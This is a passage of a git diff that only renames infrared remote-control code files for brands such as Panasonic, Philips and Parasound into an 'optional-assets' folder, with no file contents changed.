assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/DSS/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/TV/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/TV/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir similarity index 100% rename from 